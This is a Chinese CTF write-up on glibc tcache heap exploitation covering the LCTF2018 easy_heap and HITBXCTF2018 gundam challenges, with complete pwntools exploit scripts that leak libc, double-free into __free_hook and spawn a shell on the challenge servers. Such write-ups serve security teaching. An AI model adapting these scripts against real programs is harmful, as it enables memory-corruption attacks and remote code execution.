浅析PWN中Tcache机制利用

admin 2023年7月12日01:48:20浅析PWN中Tcache机制利用已关闭评论6 views字数 6602阅读22分0秒阅读模式

基础知识

Tcache机制是libc.2.26之后引入的一种机制,引入了两个新的结构体。

tcache_entry 和 tcache_perthread_struct

```
typedef struct tcache_entry
{
struct tcache_entry *next;
}tcache_entry;

typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
}tcache_perthread_struct;

static __thread tcache_perthread_struct *tcache = NULL;
```

其中有两个重要的函数:tcache_get() 和 tcache_put()

```
static void tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry e = (tcache_entry ) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS); e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

static void * tcache_get (size_t tc_idx)
{
tcache_entry e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS); assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void
) e;
}
```

可以看到,除了对tc_idx进行了检查,其他都没检查,因此利用更加简单。

这两个函数会在_int_free以及_libc_malloc开头被调用。其中 tcache_put 当所请求的分配大小不大于0x408并且当给定大小的 tcache bin 未满时调用。一个 tcache bin 中的最大块数mp_.tcache_count是7。

记住一个准则,Tcache优先。


LCTF2018 PWN easy_heap

Analysis

checksec

浅析PWN中Tcache机制利用

保护基本全开。

main()

浅析PWN中Tcache机制利用

menu()

浅析PWN中Tcache机制利用

从菜单上看功能就malloc、free、puts三个。

malloc()

浅析PWN中Tcache机制利用

看到最多可以维护10个列表,然后有一个0xA0的chunk存放每个列表的chunk地址和size。

每个列表的大小固定是0xF8,读入的size可以自定义但小于0xF8,这里调用了sub_BEC()函数来读取,跟进看一下:

sub_BEC()

浅析PWN中Tcache机制利用

按照本来的逻辑,循环读入一个字节,应该从下标0读到下标a2-1,a2-1就是我们指定的size,但是判断到v3=a2-1时,条件满足,执行了++v3,此时v3=a2不满足条件退出while循环,执行上图框中的语句造成了null-by-one,除此之外,若读入遇到换行符或空字节也会退出循环。

free()

浅析PWN中Tcache机制利用

置零置空操作都有。

puts()

浅析PWN中Tcache机制利用

输出。

How to exploit

这里因为没有edit功能,有些地方有点麻烦,并且null-by-one也没得办法直接用。

可以想办法构造连个指针指向同一个chunk然后劫持__malloc_hook。

Start to exploit

leak libc:

leak libc我们常用的方法基本都涉及到了unsorted bin,这里也不例外,需要特意的去控制位置,要将tcache的一个块放在unsorted bin与top chunk之间避免合并。

```
for i in range(7):
new(0x10,'Tcache')
for i in range(3):
new(0x10,'unsorted bin')

for i in range(6):
delete(i)
delete(9)
for i in range(6,9):
delete(i)
```

经过上面的操作,此时chunk布局如下:

我们需要null-by-one溢出修改,但是并没有edit的功能,所以只能让B块进入tcache后再重新分配出来。然后还要释放A用来提供有效的可以进行 unlink 的 fd 和 bk 值

```
for in in range(7):
new(0x10,'Tcache')
new(0x10, '7 - first')
new(0x10, '8 - second')
new(0x10, '9 - third')

for i in range(6):
delete(i)
delete(8)#B in to tcache
delete(7)#A free
```

此时堆块布局如下:

浅析PWN中Tcache机制利用

因为B是最后进入tcache的,所以第一块为B块,这时候申请B块即可进行null-by-one。

new(0xf8,'null-by-one')#0 B

在之后的步骤中,我们需要 A 处于 unsorted bin 释放状态,B 处于分配状态,C 处于分配状态,且最后可以在 tcache 块 7 个全满的情况下进行释放(触发合并),所以我们需要 7 个 tcache 都被 free 掉,但是这个时候,B是tcache块已经被我们申请出来了,所以要free掉防止合并的chunk,让其进入tcache。

delete(6)#file tcache

这里需要注意一下,因为上面把tcache全部申请了,所以最后一块防止合并的chunk下标就为6了也就是最后一个tcache。

接着free掉C块,进行合并。

delete(9)

浅析PWN中Tcache机制利用

这时候再把A分配出来,main_arena落在B块即可leak libc。

```
for i in range(7):

new(0x10,'tcache')

new(0x10,'A')
```

前面已经说过了,B块下标变成了0。

show(0)

libc.address = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00')) - 0x3ebca0

其实接下来就简单很多了,因为B处于free块但又有指针指向,double link已经形成,接下来在 tcache 空间足够时,利用 tcache 进行 double free ,进而通过 UAF 攻击 free hook 即可(tcache对size没有检查)

```

hijack hook

free_hook = libc.symbols['__free_hook']

one_gadget = libc.address + 0x4f322

new(0x10,'aaaa')#now all of chunks have been malloc

delete(1)

delete(2)

delete(0)

delete(9)

new(0x10,p64(free_hook))#0

new(0x10,'aaaa')#1

new(0x10,p64(one_gadget))

get shell

delete(0)

p.interactive()
```

需要注意的是,我们是利用的tcache不对size进行检查,所以要通过tcache获得,free 1、2块就是为了后面申请要用,注意我们申请的最后一个chunk就是从B、C合并下来的大块切割的(跟一遍流程或调试就知道了)。

所以此时实质上chunk0、chunk9都指向B块,因此free它们,tcache是LIFO,这样申请一个改fd为__free_hook但还有一个在tcache里面造成uaf。

浅析PWN中Tcache机制利用

```

! /usr/bin/python

from pwn import *

from LibcSearcher import *

p = remote('pwn4fun.com',9090)

elf = ELF('./easy_heap')

libc = ELF('./libc64.so')

context.log_level = 'debug'

def menu(idx):

p.recvuntil('>')

p.sendline(str(idx))

def new(size, content):

menu(1)

p.recvuntil('>')

p.sendline(str(size))

p.recvuntil('> ')

if len(content) >= size:

p.send(content)

else:

p.sendline(content)

def delete(idx):

menu(2)

p.recvuntil('index \n> ')

p.sendline(str(idx))

def show(idx):

menu(3)

p.recvuntil('> ')

p.sendline(str(idx))

leak libc

for i in range(7):

new(0x10,'Tcache')

for i in range(3):

new(0x10,'unsorted bin')

for i in range(6):

delete(i)

delete(9)

for i in range(6,9):

delete(i)

for i in range(7):

new(0x10,'Tcache')

new(0x10, '7 - first')

new(0x10, '8 - second')

new(0x10, '9 - third')

for i in range(6):

delete(i)

delete(8)#B in to tcache

delete(7)#A free

new(0xf8,'null-by-one')#0 B

delete(6)#file tcache

delete(9)

for i in range(7):

new(0x10,'tcache')

new(0x10,'A')

show(0)

libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x3ebca0

hijack hook

free_hook = libc.symbols['__free_hook']

one_gadget = libc.address + 0x4f322

new(0x10,'aaaa')#now all of chunks have been malloc

delete(2)

delete(3)

delete(0)

delete(9)

new(0x10,p64(free_hook))#0

new(0x10,'aaaa')#1

new(0x10,p64(one_gadget))

get shell

delete(0)

p.interactive()
```


Hitbxctf2018 gundam

这个例子我会写出来调试过程加深理解。

Analysis

checksec

浅析PWN中Tcache机制利用

menu()

浅析PWN中Tcache机制利用

main()

浅析PWN中Tcache机制利用

可以看到,有Build、Visit、Destory、Blow up功能,来看一下。

Build()

浅析PWN中Tcache机制利用

最多可以维护9个gundam,每个gundam都会有一个0x28(no head)的chunk作为结构体,有指针数组管理它们。

Visit()

浅析PWN中Tcache机制利用

打印

Destory()

浅析PWN中Tcache机制利用

让人开心的UAF

Blow_up()

浅析PWN中Tcache机制利用

看来是free了所有gumdam的结构体并将指针置0.

How to exploit

既然有UAF会好办很多,利用UAF可以leak出libc,然后再利用UAF或者说是Double Free来修改其fd域,因为可以把Tcache看作一个没有检查的Fastbin,我们不需要去伪造size,直接可以返回到__malloc_hook的fake chunk。

Start to exploit

来一步一步调试。

浅析PWN中Tcache机制利用

可以看到tcachebin中两个chunk其实是同一个,这里需要注意了,因为tcache检查较少所以我们可以直接double free,但如果是放到unsorted bin中就会报错了。

error

浅析PWN中Tcache机制利用

leak libc:

说说leak的原理,把tcache填满后再free就会进入unsorted bin,如下图:

浅析PWN中Tcache机制利用

然后重新申请,把tcache中的拿完就回去unsorted bin中了:

浅析PWN中Tcache机制利用

注意:填充fd的a不要填满8个,不然拿不到main_arena,会拿到_IO_write_data

浅析PWN中Tcache机制利用

```

leak libc

for i in range(9):

build('gogogogo',1)#0-8

for i in range(9):

destory(i)#0-8

blow_up()

for i in range(7):

build('Tcache',1)#0-6

build('aaaaaaa',1)#7

visit()

p.recvuntil('aaaaaaa')

main_arena = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 96

libc_base = main_arena - 0x3ebc40

log.success('libc:'+hex(libc_base))
```

解释一下blow_up(),单纯的destory不会free结构体的chunk,不清空掉结构体的话无法继续申请。

tcache attack:

接下来就简单了,就是类似于fastbin attack一样,只不过是不检查size了。

浅析PWN中Tcache机制利用

经过刚才的操作,tcache bin中只剩下了个结构体chunk,这里我们要利用double free。

浅析PWN中Tcache机制利用

这里也很简单,直接double free任意一个让它进入tcache,然后build申请出来一个改掉fd,而另一个留在bin中fd指向malloc_hook,然后申请到malloc_hook修改为one_gadget,或者free_hook改为system(类似fastbin但更简单)。

浅析PWN中Tcache机制利用

```

! /usr/bin/python

from pwn import *

from LibcSearcher import *

p = process('./gundam')

p = remote('pwn4fun.com',9091)

elf = ELF('./gundam')

libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

context.log_level='debug'

def menu(idx):

p.recvuntil('Your choice : ')

p.sendline(str(idx))

def build(name,types):

menu(1)

p.recvuntil('The name of gundam :')

p.sendline(name)

p.recvuntil('The type of the gundam :')

p.sendline(str(types))

def visit():

menu(2)

def destory(idx):

menu(3)

p.recvuntil('Which gundam do you want to Destory:')

p.sendline(str(idx))

def blow_up():

menu(4)

leak libc

for i in range(9):

build('gogogogo',1)#0-8

for i in range(9):

destory(i)#0-8

blow_up()

for i in range(7):

build('Tcache',1)#0-6

build('aaaaaaa',1)#7

visit()

p.recvuntil('aaaaaaa')

main_arena = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 96

libc_base = main_arena - 0x3ebc40

log.success('libc:'+hex(libc_base))

gdb.attach(p)

tcache attack

malloc_hook = libc_base + libc.symbols['__malloc_hook']

free_hook = libc_base + libc.symbols['__free_hook']

system = libc_base + libc.symbols['system']

destory(1)

destory(0)

destory(0)

blow_up()

build(p64(free_hook),1)#0

build('$0;',1)#0

build(p64(system),1)

get shell

destory(0)

p.interactive()
```

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月12日01:48:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅析PWN中Tcache机制利用http://cn-sec.com/archives/1868845.html